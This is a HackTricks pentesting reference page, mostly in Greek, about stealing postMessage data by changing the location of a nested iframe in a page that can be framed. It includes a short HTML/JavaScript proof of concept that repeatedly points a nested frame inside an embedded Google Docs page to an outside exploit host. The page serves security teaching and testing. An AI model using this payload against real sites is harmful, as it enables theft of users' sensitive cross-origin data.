Steal postmessage modifying iframe location

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Αλλαγή τοποθεσιών παιδικών iframes

Σύμφωνα με αυτή την αναφορά, αν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε την τοποθεσία αυτού του παιδικού iframe.

Για παράδειγμα, αν το abc.com έχει το efg.com ως iframe και το abc.com δεν έχει X-Frame header, θα μπορούσα να αλλάξω το efg.com σε evil.com cross origin χρησιμοποιώντας, frames.location.

Αυτό είναι ιδιαίτερα χρήσιμο σε postMessages γιατί αν μια σελίδα στέλνει ευαίσθητα δεδομένα χρησιμοποιώντας ένα wildcard όπως windowRef.postmessage("","*") είναι δυνατόν να αλλάξετε την τοποθεσία του σχετικού iframe (παιδικό ή γονικό) σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο και να κλέψετε αυτά τα δεδομένα.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated